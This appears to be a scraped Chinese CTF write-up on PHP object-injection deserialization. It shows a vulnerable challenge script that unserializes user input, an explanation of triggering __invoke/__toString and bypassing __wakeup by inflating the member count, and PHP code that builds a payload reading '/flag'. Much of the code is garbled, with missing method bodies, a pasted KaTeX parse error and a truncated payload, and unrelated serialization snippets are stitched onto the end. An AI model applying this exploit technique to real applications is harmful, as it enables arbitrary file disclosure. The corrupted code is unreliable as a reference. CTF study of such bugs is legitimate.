魔術方法的觸發在php反序列化中的應用

2021-10-21 08:15:39 字數 1475 閱讀 1015

原始碼:

<?php 

show_source

(__file__);

class

cdutsec1

function

__wakeup()

// hint:聽說你們喜歡繞__wakeup,但是我可聽說官方在php7.0.10之後修復了這個bug

function

__invoke()

function

__tostring()

function

__get

($function

)function

__call($a

,$b)}

class

cdutsec2

}@unserialize

($_get

['payload'])

;

**審計:能拿flag的方式只有cdutsec1中__invoke和__tostring兩個魔術方法,觸發能夠執行file_get_contents($this->file)。所以只要cdutsec1類的file值為』/flag』(當然可能不在當前目錄,視題而定)就能拿到flag了。

兩個魔術方法的觸發條件:

__invoke:當嘗試以呼叫函式的方式呼叫乙個物件時觸發

__tostring:乙個類被當做字串時觸發。用於乙個類被當成字串時應怎樣回應。例如 echo katex parse error: expected group after '_' at position 37: …字串,否則會產生錯誤。 所以_̲_tosring無法觸發。審計…function的值再次序列化即可。

但cdutsec1中在觸發__invoke之前因為反序列化__weakup先觸發並把我們傳入的$file覆蓋,因此我們需要繞過__weakup。利用的漏洞也很簡單,只需要把序列化字串表示類成員數量的數字改大(大於實際數)即可繞過。本例中,改cdutsec2與巢狀的cdutsec1都可以。

解題:

<?php 

class

cdutsec1

class

cdutsec2

$tr=

newcdutsec1()

;$tr

->

file

='/flag'

;$sr

=new

cdutsec2()

;$sr

->

function

=$tr

;echo

serialize

($sr

);

執行**得到:o:8:"cdutsec2":1:},這裡我們該大類成員數:o:8:"cdutsec2":1:}即可。

測試payload:

PHP多種序列化 反序列化的方法

序列化是將變數轉換為可儲存或傳輸的字串的過程 反序列化就是在適當的時候把這個字串再轉化成原來的變數使用。這兩個過程結合起來,可以輕鬆地儲存和傳輸資料,使程式更具維護性。1.serialize和unserialize函式 這兩個是序列化和反序列化php中資料的常用函式。序列化陣列 s serializ...

PHP多種序列化 反序列化的方法

1.serialize和unserialize函式 serialize 函式,把複雜的資料型別壓縮到乙個字串中,把變數和它們的值編碼成文字形式,這有利於儲存或傳遞 php 的值,同時不丟失其型別和結構 unserialize 函式對單一的已序列化的變數進行操作,將其轉換回 php 的值 例 stoo...

PHP 幾種 序列化 反序列化的方法

序列化是將變數轉換為可儲存或傳輸的字串的過程 反序列化就是在適當的時候把這個字串再轉化成原來的變數使用。這兩個過程結合起來,可以輕鬆地儲存和傳輸資料,使程式更具維護性。1.serialize和unserialize函式 a array a b banana c coconut 序列化陣列 s ser...